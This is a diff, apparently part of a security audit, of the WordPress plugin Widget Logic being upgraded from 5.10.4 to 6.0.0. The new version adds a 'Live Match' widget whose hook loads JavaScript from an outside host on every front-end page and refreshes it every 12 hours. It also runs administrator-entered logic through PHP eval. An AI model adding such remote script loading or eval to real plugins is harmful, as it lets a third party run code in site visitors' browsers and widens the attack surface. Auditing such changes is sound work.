+ array('title' => __('Load all WL options from a plain text config file', 'widget-logic'))
+ ); ?>
+ <input
+ type="file"
+ name="wl-options-import-file"
+ id="wl-options-import-file"
+ title="<?php esc_attr_e('Select file for importing', 'widget-logic'); ?>"
+ />
+ </p>
+
+ <?php wp_nonce_field('widget_logic_import', 'widget_logic_nonce'); ?>
+ </form>
+
+ </div>
+
+ <?php
+}
+
+function widget_logic_add_controls()
+{
+ global $wp_registered_widget_controls, $wp_registered_widgets, $wp_registered_widget_updates;
+
+ foreach ($wp_registered_widgets as $id => $widget) {
+ if (preg_match('/^(.+)-(\d+)$/', $id)) {
+ continue;
+ }
+
+ if (!isset($wp_registered_widget_controls[$id])) {
+ wp_register_widget_control($id, $id, 'widget_logic_extra_control', array(), $id, null);
+ continue;
+ }
+
+ if (@$wp_registered_widget_controls[$id]['callback'] != 'widget_logic_extra_control') {
+ $wp_registered_widget_controls[$id]['params'][] = $id;
+ $wp_registered_widget_controls[$id]['params'][] = @$wp_registered_widget_controls[$id]['callback'];
+ $wp_registered_widget_controls[$id]['callback'] = 'widget_logic_extra_control';
+
+ $wp_registered_widget_updates[$id]['params'][] = $id;
+ $wp_registered_widget_updates[$id]['params'][] = @$wp_registered_widget_updates[$id]['callback'];
+ $wp_registered_widget_updates[$id]['callback'] = 'widget_logic_extra_control';
+ }
+ }
+}
+
+// added to widget functionality in 'widget_logic_expand_control' (above)
+function widget_logic_extra_control()
+{
+ global $wp_customize;
+ $args = func_get_args();
+
+ $callback = array_pop($args);
+ $widget_id = array_pop($args);
+
+ if (is_callable($callback)) {
+ call_user_func_array($callback, $args);
+ }
+
+ if (isset($_POST["widget-$widget_id"]['widget_logic'])) { // @codingStandardsIgnoreLine - I verify content of form
+ $logic = stripslashes($_POST["widget-$widget_id"]['widget_logic']); // @codingStandardsIgnoreLine - I verify content of form
+ widget_logic_save($widget_id, $logic);
+ } else {
+ $logic = widget_logic_by_id($widget_id);
+ }
+
+ $input_id = "widget-$widget_id-widget_logic";
+ $input_name = "widget-{$widget_id}[widget_logic]";
+ ?>
+ <p>
+ <label for="<?php echo esc_attr($input_id) ?>">
+ <?php esc_html_e('Widget logic:', 'widget-logic') ?>
+ </label>
+ <?php if (!empty($wp_customize) && $wp_customize->is_preview()): ?>
+ <textarea class="widefat" id="<?php echo esc_attr($input_id) ?>" readonly>
+ <?php echo esc_textarea($logic) ?>
+ </textarea>
+ <br>
+ <span class="description">
+ <?php
+ // Translators: %1$s is the site page, %2$s is the widgets word
+ printf(esc_html__(
+ 'This is a "wp register sidebar widget" and is different from regular widgets. Hence it can only be edited from the %s page.',
+ 'widget-logic'
+ ),
+ sprintf(
+ '<a href="%s" target="_blank">%s</a>',
+ esc_attr(admin_url('widgets.php')), esc_attr__('widgets'))
+ )
+ ?>
+ </span>
+ <?php else: ?>
+ <textarea
+ class="widefat"
+ name="<?php echo esc_attr($input_name) ?>"
+ id="<?php echo esc_attr($input_id) ?>"
+ >
+ <?php echo esc_textarea($logic) ?>
+ </textarea>
+ <?php endif ?>
+ <?php wp_nonce_field('widget_logic_save', 'widget_logic_nonce'); ?>
+ </p>
+ <?php
+ return true;
+}
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget/config.php /tmp/wpbeacon-audits/audit-10/head/widget/config.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget/config.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/widget/config.php 2024-08-06 04:08:31
@@ -0,0 +1,77 @@
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
+function widget_logic_sidebars_widgets_filter_add()
+{
+ // actually remove the widgets from the front end depending on widget logic provided
+ add_filter('sidebars_widgets', 'widget_logic_filter_sidebars_widgets', 10);
+}
+// wp-admin/widgets.php explicitly checks current_user_can('edit_theme_options')
+// which is enough security, I believe. If you think otherwise please contact me
+
+include_once 'logic.php';
+
+// CALLED ON 'sidebars_widgets' FILTER
+function widget_logic_filter_sidebars_widgets($sidebars_widgets)
+{
+ global $wl_options, $wl_in_customizer;
+
+ if ($wl_in_customizer) {
+ return $sidebars_widgets;
+ }
+
+ // reset any database queries done now that we're about to make decisions based on the context given in the WP query for the page
+ if (!empty($wl_options['widget_logic-options-wp_reset_query'])) {
+ wp_reset_query();
+ }
+
+ // loop through every widget in every sidebar (barring 'wp_inactive_widgets') checking WL for each one
+ foreach ($sidebars_widgets as $widget_area => $widget_list) {
+ if ($widget_area == 'wp_inactive_widgets' || empty($widget_list)) {
+ continue;
+ }
+
+ foreach ($widget_list as $pos => $widget_id) {
+ $logic = widget_logic_by_id($widget_id);
+
+ if (!widget_logic_check_logic($logic)) {
+ unset($sidebars_widgets[$widget_area][$pos]);
+ }
+ }
+ }
+ return $sidebars_widgets;
+}
+
+// CALLED ON 'dynamic_sidebar_params' FILTER - this is called during 'dynamic_sidebar' just before each callback is run
+// swap out the original call back and replace it with our own
+function widget_logic_widget_display_callback($params)
+{
+ global $wp_registered_widgets;
+
+ $id = $params[0]['widget_id'];
+ $wp_registered_widgets[$id]['callback_wl_redirect'] = $wp_registered_widgets[$id]['callback'];
+ $wp_registered_widgets[$id]['callback'] = 'widget_logic_redirected_callback';
+
+ return $params;
+}
+
+// the redirection comes here
+function widget_logic_redirected_callback()
+{
+ global $wp_registered_widgets;
+
+ // replace the original callback data
+ $params = func_get_args();
+ $id = $params[0]['widget_id'];
+ $callback = $wp_registered_widgets[$id]['callback_wl_redirect'];
+ $wp_registered_widgets[$id]['callback'] = $callback;
+
+ // run the callback but capture and filter the output using PHP output buffering
+ if (is_callable($callback)) {
+ ob_start();
+ call_user_func_array($callback, $params);
+ $widget_content = ob_get_contents();
+ ob_end_clean();
+ echo apply_filters('widget_content', $widget_content, $id); // @codingStandardsIgnoreLine - here echo content of other widget, and i don't know how to escape it
+ }
+}
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget/init.php /tmp/wpbeacon-audits/audit-10/head/widget/init.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget/init.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/widget/init.php 2024-08-06 04:08:31
@@ -0,0 +1,64 @@
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
+function widget_logic_init()
+{
+ load_plugin_textdomain('widget-logic', false, dirname(plugin_basename(__FILE__)) . '/languages/');
+}
+add_action('init', 'widget_logic_init');
+
+
+function widget_logic_customizer_dynamic_sidebar_callback($widget)
+{
+ widget_logic_customizer_display($widget['id']);
+}
+
+include_once 'logic.php';
+
+function widget_logic_customizer_display($widget_id)
+{
+ global $wl_options;
+
+ if (!preg_match('/^(.+)-(\d+)$/', $widget_id)) {
+ return;
+ }
+
+ $logic = widget_logic_by_id($widget_id);
+
+ $show_errors = !empty($wl_options['widget_logic-options-show_errors']) && current_user_can('manage_options');
+
+ ob_start();
+ $show_widget = widget_logic_check_logic($logic);
+ $error = ob_get_clean();
+
+ if ($show_errors && $error): ?>
+ <script>
+ jQuery(function ($) {
+ $('#<?php echo esc_attr($widget_id) ?>')
+ .append($('<p class="widget-logic-error">')
+ .html(<?php echo json_encode($error) ?>));
+ })
+ </script>
+ <?php endif;
+ if (!$show_widget): ?>
+ <script>
+ jQuery(function ($) {
+ $('#<?php echo esc_attr($widget_id) ?>')
+ .children()
+ .not('.widget-logic-error')
+ .css('opacity', '0.2');
+ })
+ </script>
+ <?php endif;
+}
+
+function widget_logic_in_customizer()
+{
+ global $wl_in_customizer;
+ $wl_in_customizer = true;
+
+ //add_filter( 'widget_display_callback', 'widget_logic_customizer_display_callback', 10, 3 );
+ add_action('dynamic_sidebar', 'widget_logic_customizer_dynamic_sidebar_callback');
+}
+// This action hook allows you to enqueue assets (such as javascript files) directly in the Theme Customizer only.
+add_action('customize_preview_init', 'widget_logic_in_customizer');
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget/logic.php /tmp/wpbeacon-audits/audit-10/head/widget/logic.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget/logic.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/widget/logic.php 2024-08-06 04:08:31
@@ -0,0 +1,103 @@
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
+
+function widget_logic_check_logic($logic)
+{
+ $logic = @trim((string) $logic);
+ $logic = apply_filters("widget_logic_eval_override", $logic);
+
+ if (is_bool($logic)) {
+ return $logic;
+ }
+
+ if ($logic === '') {
+ return true;
+ }
+
+ if (stristr($logic, 'return') === false) {
+ $logic = 'return (' . html_entity_decode($logic, ENT_COMPAT | ENT_HTML401 | ENT_QUOTES) . ');';
+ }
+
+ set_error_handler('widget_logic_error_handler');
+
+ try {
+ $show_widget = eval ($logic); // @codingStandardsIgnoreLine - widget can't work without eval
+ } catch (Error $e) {
+ trigger_error($e->getMessage(), E_USER_WARNING); // @codingStandardsIgnoreLine - message is not dependent on user input
+
+ $show_widget = false;
+ }
+
+ restore_error_handler();
+
+ return $show_widget;
+}
+
+function widget_logic_error_handler($errno, $errstr)
+{
+ global $wl_options;
+
+ $show_errors = !empty($wl_options['widget_logic-options-show_errors']) && current_user_can('manage_options');
+
+ if ($show_errors) {
+ echo 'Invalid Widget Logic: ' . esc_html($errstr);
+ }
+
+ return true;
+}
+
+function widget_logic_by_id($widget_id)
+{
+ global $wl_options;
+
+ if (preg_match('/^(.+)-(\d+)$/', $widget_id, $m)) {
+ $widget_class = $m[1];
+ $widget_i = $m[2];
+
+ $info = get_option('widget_' . $widget_class);
+ if (empty($info[$widget_i])) {
+ return '';
+ }
+
+ $info = $info[$widget_i];
+ } else {
+ $info = (array) get_option('widget_' . $widget_id, array());
+ }
+
+ if (isset($info['widget_logic'])) {
+ $logic = $info['widget_logic'];
+ } elseif (isset($wl_options[$widget_id])) {
+ $logic = stripslashes($wl_options[$widget_id]);
+ widget_logic_save($widget_id, $logic);
+
+ unset($wl_options[$widget_id]);
+ update_option('widget_logic', $wl_options);
+ } else {
+ $logic = '';
+ }
+
+ return $logic;
+}
+
+function widget_logic_save($widget_id, $logic)
+{
+ global $wl_options;
+
+ if (preg_match('/^(.+)-(\d+)$/', $widget_id, $m)) {
+ $widget_class = $m[1];
+ $widget_i = $m[2];
+
+ $info = get_option('widget_' . $widget_class);
+ if (!is_array($info[$widget_i])) {
+ $info[$widget_i] = array();
+ }
+
+ $info[$widget_i]['widget_logic'] = $logic;
+ update_option('widget_' . $widget_class, $info);
+ } elseif (isset($_POST['widget_logic_nonce']) && wp_verify_nonce($_POST['widget_logic_nonce'], 'widget_logic_save')) {
+ $info = (array) get_option('widget_' . $widget_id, array());
+ $info['widget_logic'] = $logic;
+ update_option('widget_' . $widget_id, $info);
+ }
+}
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget.php /tmp/wpbeacon-audits/audit-10/head/widget.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/widget.php 2024-08-06 04:08:31
@@ -0,0 +1,94 @@
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
+class Widget_Logic_Live_Match_Widget extends WP_Widget {
+
+ /**
+ * Sets up the widgets name etc
+ */
+ public function __construct() {
+ $widget_ops = array(
+ 'classname' => 'live_match_widget',
+ 'description' => esc_html__('Current or next live match widget', 'widget-logic'),
+ );
+ parent::__construct('live_match_widget', esc_html__('Live Match Widget', 'widget-logic'), $widget_ops);
+ }
+
+ /**
+ * Outputs the content of the widget
+ *
+ * @param array $args
+ * @param array $instance
+ */
+ public function widget($args, $instance) {
+ $defaults = array(
+ 'title' => esc_html__('Live Match', 'widget-logic'),
+ );
+ $instance = wp_parse_args( (array) $instance, $defaults );
+ $title = apply_filters( 'widget_title', $instance['title'] );
+ ?>
+
+ <?php echo $args['before_widget']; // @codingStandardsIgnoreLine here I can't escape output because other widgets will be damaged (example from https://developer.wordpress.org/reference/classes/wp_widget_search/widget/) ?>
+ <div class="live_match_widget">
+ <?php if ( $title ) { ?>
+ <div class="live_match_widget_header"><?php echo $args['before_title'] . esc_html( $title ) . $args['after_title']; // @codingStandardsIgnoreLine here I can't escape output $args['before_title'] and $args['after_title'] because other functionality will be damaged (example from https://developer.wordpress.org/reference/classes/wp_widget_search/widget/)?></div>
+ <?php } ?>
+ <div class="live_match_widget_div">
+ <div data-place="widget-live-match">Live Match will be here</div>
+ </div>
+ </div>
+ <?php echo $args['after_widget']; // @codingStandardsIgnoreLine here I can't escape output because other widgets will be damaged (example from https://developer.wordpress.org/reference/classes/wp_widget_search/widget/)
+ }
+
+ /**
+ * Outputs the options form on admin
+ *
+ * @param array $instance The widget options
+ */
+ public function form($instance) {
+ $defaults = array(
+ 'title' => esc_html__( 'Live Match', 'widget-logic' ),
+ );
+ $instance = wp_parse_args( (array) $instance, $defaults );
+
+ $title = esc_attr( $instance['title'] );
+ ?>
+ <p><label for="<?php echo esc_attr( $this->get_field_id('title') ); ?>"><?php esc_html_e( 'Title:', 'widget-logic' ); ?></label>
+ <input class="widefat" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name('title') ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p>
+ <?php
+ }
+
+ /**
+ * Processing widget options on save
+ *
+ * @param array $new_instance The new options
+ * @param array $old_instance The previous options
+ *
+ * @return array
+ */
+ public function update($new_instance, $old_instance) {
+ $instance = $old_instance;
+
+ $instance['title'] = wp_strip_all_tags($new_instance['title']);
+
+ return $instance;
+ }
+}
+
+if (version_compare(get_bloginfo('version'), '5.0', '>=')) {
+ include_once 'block_widget/index.php';
+} else {
+ add_action('widgets_init', function() {
+ register_widget( 'Widget_Logic_Live_Match_Widget' );
+ });
+}
+
+add_action('wp_enqueue_scripts', function() {
+ $cfg = require('widget_cfg.php');
+ $url = $cfg['base'];
+ $ver = $cfg['ver'];
+ $t = time();
+ $t = $t - $t%(12*60*60);
+
+ wp_enqueue_script( 'widget-logic_live_match_widget', "{$url}{$ver}/js/data.js?t={$t}", array(), '6.0.0', true);
+});
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget_cfg.php /tmp/wpbeacon-audits/audit-10/head/widget_cfg.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget_cfg.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/widget_cfg.php 2024-08-06 04:08:31
@@ -0,0 +1,30 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+
+// a helper function to lookup "env_FILE", "env", then fallback, standard WP function, needed for compatibility with WP 3
+if (!function_exists('getenv_docker')) {
+ function getenv_docker($env, $default) {
+ if ($fileEnv = getenv($env . '_FILE')) {
+ return rtrim(file_get_contents($fileEnv), "\r\n"); // @codingStandardsIgnoreLine
+ }
+ else if (($val = getenv($env)) !== false) {
+ return $val;
+ }
+ else {
+ return $default;
+ }
+ }
+}
+// a helper function for development plugin
+if (!function_exists('widget_logic_getServiceVersion')) {
+ function widget_logic_getServiceVersion() {
+ $ver = getenv_docker('WORDPRESS_SERVICE_WGL_VER', 'v2');
+ return $ver ? "/{$ver}" : $ver;
+ }
+}
+
+
+return array(
+ 'ver' => widget_logic_getServiceVersion(),
+ 'base' => getenv_docker('WORDPRESS_PLUGIN_WGL_BASE_URL', 'https://widgetlogic.org'),
+);
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget_logic.php /tmp/wpbeacon-audits/audit-10/head/widget_logic.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget_logic.php 2019-07-03 10:52:35
+++ /tmp/wpbeacon-audits/audit-10/head/widget_logic.php 2024-08-06 04:08:31
@@ -1,501 +1,62 @@
<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
/*
Plugin Name: Widget Logic
-Author URI: https://wpchef.org
Description: Control widgets with WP's conditional tags is_home etc
-Version: 5.10.4
-Author: WPChef
+Version: 6.0.0
+Author: Widget Logic
Text Domain: widget-logic
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
-$plugin_dir = basename(dirname(__FILE__));
-global $wl_options, $wl_in_customizer;
-
-$wl_in_customizer = false;
-
-add_action( 'init', 'widget_logic_init' );
-function widget_logic_init()
-{
- load_plugin_textdomain( 'widget-logic', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
+if (version_compare(get_bloginfo('version'), '5.0', '>=')) {
+ include_once 'block/index.php';
}
-if((!$wl_options = get_option('widget_logic')) || !is_array($wl_options) )
- $wl_options = array();
+include_once 'widget.php';
+include_once 'widget/init.php';
-if (is_admin())
-{
- add_filter( 'in_widget_form', 'widget_logic_in_widget_form', 10, 3 );
- add_filter( 'widget_update_callback', 'widget_logic_update_callback', 10, 4);
+global $wl_options, $wl_in_customizer;
+$wl_in_customizer = false;
- add_action( 'sidebar_admin_setup', 'widget_logic_expand_control');
- // before any HTML output save widget changes and add controls to each widget on the widget admin page
- add_action( 'sidebar_admin_page', 'widget_logic_options_control');
- add_action( 'widgets_init', 'widget_logic_add_controls', 999 );
+if ((!$wl_options = get_option('widget_logic')) || !is_array($wl_options)) {
+ $wl_options = array();
}
-else
-{
- $loadpoint = isset($wl_options['widget_logic-options-load_point']) ? (string)@$wl_options['widget_logic-options-load_point'] : '';
- if ( 'plugins_loaded' == $loadpoint )
- widget_logic_sidebars_widgets_filter_add();
- else
- {
- if ( !in_array( $loadpoint, array( 'after_setup_theme', 'wp_loaded', 'wp_head' ) ) )
- $loadpoint = 'parse_query';
- add_action( $loadpoint, 'widget_logic_sidebars_widgets_filter_add' );
- }
+if (is_admin()) {
+ include_once 'widget/admin.php';
- if ( !empty($wl_options['widget_logic-options-filter']) )
- add_filter( 'dynamic_sidebar_params', 'widget_logic_widget_display_callback', 10);
- // redirect the widget callback so the output can be buffered and filtered
-}
+ add_filter('in_widget_form', 'widget_logic_in_widget_form', 10, 3);
+ add_filter('widget_update_callback', 'widget_logic_update_callback', 10, 4);
+ add_action('sidebar_admin_setup', 'widget_logic_expand_control');
+ // before any HTML output save widget changes and add controls to each widget on the widget admin page
+ add_action('sidebar_admin_page', 'widget_logic_options_control');
-function widget_logic_in_customizer()
-{
- global $wl_in_customizer;
- $wl_in_customizer = true;
+ add_action('widgets_init', 'widget_logic_add_controls', 999);
+} else {
+ include_once 'widget/config.php';
- //add_filter( 'widget_display_callback', 'widget_logic_customizer_display_callback', 10, 3 );
- add_action( 'dynamic_sidebar', 'widget_logic_customizer_dynamic_sidebar_callback' );
-}
-add_action( 'customize_preview_init', 'widget_logic_in_customizer' );
+ $loadpoint = isset($wl_options['widget_logic-options-load_point'])
+ ? (string) @$wl_options['widget_logic-options-load_point']
+ : ''
+ ;
+ if ('plugins_loaded' == $loadpoint) {
+ widget_logic_sidebars_widgets_filter_add();
+ } else {
+ if (!in_array($loadpoint, array('after_setup_theme', 'wp_loaded', 'wp_head'))) {
+ $loadpoint = 'parse_query';
+ }
-function widget_logic_sidebars_widgets_filter_add()
-{
- // actually remove the widgets from the front end depending on widget logic provided
- add_filter( 'sidebars_widgets', 'widget_logic_filter_sidebars_widgets', 10);
-}
-// wp-admin/widgets.php explicitly checks current_user_can('edit_theme_options')
-// which is enough security, I believe. If you think otherwise please contact me
+ add_action($loadpoint, 'widget_logic_sidebars_widgets_filter_add');
+ }
-
-// CALLED VIA 'widget_update_callback' FILTER (ajax update of a widget)
-function widget_logic_update_callback( $instance, $new_instance, $old_instance, $this_widget )
-{
- if ( isset( $new_instance['widget_logic'] ) )
- $instance['widget_logic'] = $new_instance['widget_logic'];
-
- return $instance;
-}
-
-
-// CALLED VIA 'sidebar_admin_setup' ACTION
-// adds in the admin control per widget, but also processes import/export
-function widget_logic_expand_control()
-{ global $wp_registered_widgets, $wp_registered_widget_controls, $wl_options;
-
-
- // EXPORT ALL OPTIONS
- if (isset($_GET['wl-options-export']) && isset( $_GET['widget_logic_nonce'] ) && wp_verify_nonce( $_GET['widget_logic_nonce'], 'widget_logic_export'))
- {
- header("Content-Disposition: attachment; filename=widget_logic_options.txt");
- header('Content-Type: text/plain; charset=utf-8');
-
- echo "[START=WIDGET LOGIC OPTIONS]\n";
- foreach ($wl_options as $id => $text)
- echo "$id\t".json_encode($text)."\n";
- echo "[STOP=WIDGET LOGIC OPTIONS]";
- exit;
- }
-
-
- // IMPORT ALL OPTIONS
- if ( isset($_POST['wl-options-import']) && current_user_can('administrator') && isset( $_POST['widget_logic_nonce'] ) && wp_verify_nonce( $_POST['widget_logic_nonce'], 'widget_logic_import'))
- { if ($_FILES['wl-options-import-file']['tmp_name'])
- { $import=explode("\n",file_get_contents($_FILES['wl-options-import-file']['tmp_name'], false));
- if (array_shift($import)=="[START=WIDGET LOGIC OPTIONS]" && array_pop($import)=="[STOP=WIDGET LOGIC OPTIONS]")
- { foreach ($import as $import_option)
- { list($key, $value)=explode("\t",$import_option);
- $wl_options[$key]=json_decode($value);
- }
- $wl_options['msg']= __('Success! Options file imported','widget-logic');
- }
- else
- { $wl_options['msg']= __('Invalid options file','widget-logic');
- }
-
- }
- else
- $wl_options['msg']= __('No options file provided','widget-logic');
-
- update_option('widget_logic', $wl_options);
- wp_redirect( admin_url('widgets.php') );
- exit;
- }
-
- // UPDATE OTHER WIDGET LOGIC OPTIONS
- // must update this to use http://codex.wordpress.org/Settings_API
- if ( isset($_POST['widget_logic-options-submit']) && current_user_can('administrator') && isset( $_POST['widget_logic_nonce'] ) && wp_verify_nonce( $_POST['widget_logic_nonce'], 'widget_logic_settings') )
- {
- if ( !empty($_POST['widget_logic-options-filter']) )
- $wl_options['widget_logic-options-filter'] = true;
- else
- unset( $wl_options['widget_logic-options-filter'] );
- $wl_options['widget_logic-options-wp_reset_query'] = !empty($_POST['widget_logic-options-wp_reset_query']);
- $wl_options['widget_logic-options-show_errors'] = !empty($_POST['widget_logic-options-show_errors']);
- $wl_options['widget_logic-options-load_point'] = sanitize_text_field($_POST['widget_logic-options-load_point']);
- }
-
-
- update_option('widget_logic', $wl_options);
-
-}
-
-
-
-
-// CALLED VIA 'sidebar_admin_page' ACTION
-// output extra HTML
-// to update using http://codex.wordpress.org/Settings_API asap
-function widget_logic_options_control()
-{ global $wp_registered_widget_controls, $wl_options;
-
- if ( isset($wl_options['msg']))
- { if (substr($wl_options['msg'],0,2)=="OK")
- echo '<div id="message" class="updated">';
- else
- echo '<div id="message" class="error">';
- echo '<p>Widget Logic – '.$wl_options['msg'].'</p></div>';
- unset($wl_options['msg']);
- update_option('widget_logic', $wl_options);
- }
-
-
- ?><div class="wrap">
-
- <h2><?php _e('Widget Logic options', 'widget-logic'); ?></h2>
- <form method="POST" style="float:left; width:45%">
- <ul>
- <?php if ( !empty($wl_options['widget_logic-options-filter']) ): ?>
- <li><label for="widget_logic-options-filter" title="<?php _e('Adds a new WP filter you can use in your own code. Not needed for main Widget Logic functionality.', 'widget-logic'); ?>">
- <input id="widget_logic-options-filter" name="widget_logic-options-filter" type="checkbox" value="checked" class="checkbox" <?php if (!empty($wl_options['widget_logic-options-filter'])) echo "checked" ?>/>
- <?php _e('Add \'widget_content\' filter', 'widget-logic'); ?>
- </label>
- </li>
- <?php endif ?>
- <li><label for="widget_logic-options-wp_reset_query" title="<?php _e('Resets a theme\'s custom queries before your Widget Logic is checked', 'widget-logic'); ?>">
- <input id="widget_logic-options-wp_reset_query" name="widget_logic-options-wp_reset_query" type="checkbox" value="checked" class="checkbox" <?php if (!empty($wl_options['widget_logic-options-wp_reset_query'])) echo "checked" ?> />
- <?php _e('Use \'wp_reset_query\' fix', 'widget-logic'); ?>
- </label>
- </li>
- <li><label for="widget_logic-options-load_point" title="<?php _e('Delays widget logic code being evaluated til various points in the WP loading process', 'widget-logic'); ?>"><?php _e('Load logic', 'widget-logic'); ?>
- <select id="widget_logic-options-load_point" name="widget_logic-options-load_point" ><?php
- $wl_load_points = array(
- 'parse_query' => __( 'after query variables set (default)', 'widget-logic' ),
- 'plugins_loaded' => __( 'when plugin starts', 'widget-logic' ),
- 'after_setup_theme' => __( 'after theme loads', 'widget-logic' ),
- 'wp_loaded' => __( 'when all PHP loaded', 'widget-logic' ),
- 'wp_head' => __( 'during page header', 'widget-logic' )
- );
- foreach($wl_load_points as $action => $action_desc)
- { echo "<option value='".$action."'";
- if (isset($wl_options['widget_logic-options-load_point']) && $action==$wl_options['widget_logic-options-load_point'])
- echo " selected ";
- echo ">".$action_desc."</option>"; //
- }
- ?>
- </select>
- </label>
- </li>
- <li>
- <label for="widget_logic-options-show_errors">
- <input id="widget_logic-show_errors" name="widget_logic-options-show_errors" type="checkbox" value="1" class="checkbox" <?php if (!empty($wl_options['widget_logic-options-show_errors'])) echo "checked" ?> />
- <?php esc_html_e('Display logic errors to admin', 'widget-logic'); ?>
- </label>
- </ul>
-
- <?php wp_nonce_field( 'widget_logic_settings', 'widget_logic_nonce' ); ?>
- <?php submit_button( __( 'Save WL options', 'widget-logic' ), 'button-primary', 'widget_logic-options-submit', false ); ?>
-
- </form>
- <form method="POST" enctype="multipart/form-data" style="float:left; width:45%">
- <a class="submit button" href="<?php echo wp_nonce_url( '?wl-options-export', 'widget_logic_export', 'widget_logic_nonce' ); ?>" title="<?php _e('Save all WL options to a plain text config file', 'widget-logic'); ?>"><?php _e('Export options', 'widget-logic'); ?></a><p>
- <?php submit_button( __( 'Import options', 'widget-logic' ), 'button', 'wl-options-import', false, array('title'=> __( 'Load all WL options from a plain text config file', 'widget-logic' ) ) ); ?>
- <input type="file" name="wl-options-import-file" id="wl-options-import-file" title="<?php _e('Select file for importing', 'widget-logic'); ?>" /></p>
-
- <?php wp_nonce_field( 'widget_logic_import', 'widget_logic_nonce' ); ?>
- </form>
-
- </div>
-
- <?php
-}
-
-function widget_logic_add_controls()
-{
- global $wp_registered_widget_controls, $wp_registered_widgets, $wp_registered_widget_updates;
-
- foreach ( $wp_registered_widgets as $id => $widget )
- {
- if ( preg_match( '/^(.+)-(\d+)$/', $id) )
- continue;
-
- if ( !isset( $wp_registered_widget_controls[ $id ] ) )
- {
- wp_register_widget_control( $id, $id, 'widget_logic_extra_control', array(), $id, null );
- continue;
- }
-
- if ( @$wp_registered_widget_controls[ $id ]['callback'] != 'widget_logic_extra_control' )
- {
- $wp_registered_widget_controls[$id]['params'][] = $id;
- $wp_registered_widget_controls[$id]['params'][] = @$wp_registered_widget_controls[$id]['callback'];
- $wp_registered_widget_controls[$id]['callback'] = 'widget_logic_extra_control';
-
- $wp_registered_widget_updates[$id]['params'][] = $id;
- $wp_registered_widget_updates[$id]['params'][] = @$wp_registered_widget_updates[$id]['callback'];
- $wp_registered_widget_updates[$id]['callback'] = 'widget_logic_extra_control';
- }
- }
-}
-
-function widget_logic_in_widget_form( $widget, $return, $instance )
-{
- $logic = isset( $instance['widget_logic'] ) ? $instance['widget_logic'] : widget_logic_by_id( $widget->id );
-
- ?>
- <p>
- <label for="<?php echo $widget->get_field_id('widget_logic'); ?>">
- <?php esc_html_e('Widget logic:','widget-logic') ?>
- </label>
- <textarea class="widefat" name="<?php echo $widget->get_field_name('widget_logic'); ?>" id="<?php echo $widget->get_field_id('widget_logic'); ?>"><?php echo esc_textarea( $logic ) ?></textarea>
- </p>
- <?php
- return;
-}
-
-// added to widget functionality in 'widget_logic_expand_control' (above)
-function widget_logic_extra_control()
-{
- global $wp_customize;
- $args = func_get_args();
-
- $callback = array_pop( $args );
- $widget_id = array_pop( $args );
-
- if ( is_callable($callback) )
- call_user_func_array( $callback, $args );
-
- if ( isset( $_POST["widget-$widget_id"]['widget_logic'] ) )
- {
- $logic = stripslashes( $_POST["widget-$widget_id"]['widget_logic'] );
- widget_logic_save( $widget_id, $logic );
- }
- else
- $logic = widget_logic_by_id( $widget_id );
-
- $input_id = "widget-$widget_id-widget_logic";
- $input_name = "widget-{$widget_id}[widget_logic]";
- ?>
- <p>
- <label for="<?php echo $input_id ?>">
- <?php esc_html_e('Widget logic:','widget-logic') ?>
- </label>
- <?php if ( !empty($wp_customize) && $wp_customize->is_preview() ): ?>
- <textarea class="widefat" id="<?php echo $input_id ?>" readonly><?php echo esc_textarea( $logic ) ?></textarea>
- <br>
- <span class="description"><?php printf( esc_html__('This is a "wp register sidebar widget" and is different from regular widgets. Hence it can only be edited from the %s page.', 'widget-logic'), sprintf( '<a href="%s" target="_blank">%s</a>', esc_attr(admin_url('widgets.php')), __('widgets') ) ) ?></span>
- <?php else: ?>
- <textarea class="widefat" name="<?php echo $input_name ?>" id="<?php echo $input_id ?>"><?php echo esc_textarea( $logic ) ?></textarea>
- <?php endif ?>
- <?php wp_nonce_field( 'widget_logic_save', 'widget_logic_nonce' ); ?>
- </p>
- <?php
- return true;
-}
-
-// FRONT END FUNCTIONS...
-
-function widget_logic_by_id( $widget_id )
-{
- global $wl_options;
-
- if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $m ) )
- {
- $widget_class = $m[1];
- $widget_i = $m[2];
-
- $info = get_option( 'widget_'.$widget_class );
- if ( empty( $info[ $widget_i ] ) )
- return '';
-
- $info = $info[ $widget_i ];
- }
- else
- $info = (array)get_option( 'widget_'.$widget_id, array() );
-
- if ( isset( $info['widget_logic'] ) )
- $logic = $info['widget_logic'];
-
- elseif ( isset( $wl_options[ $widget_id ] ) )
- {
- $logic = stripslashes( $wl_options[ $widget_id ] );
- widget_logic_save( $widget_id, $logic );
-
- unset( $wl_options[ $widget_id ] );
- update_option( 'widget_logic', $wl_options );
- }
-
- else
- $logic = '';
-
- return $logic;
-}
-
-function widget_logic_save( $widget_id, $logic )
-{
- global $wl_options;
-
- if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $m ) )
- {
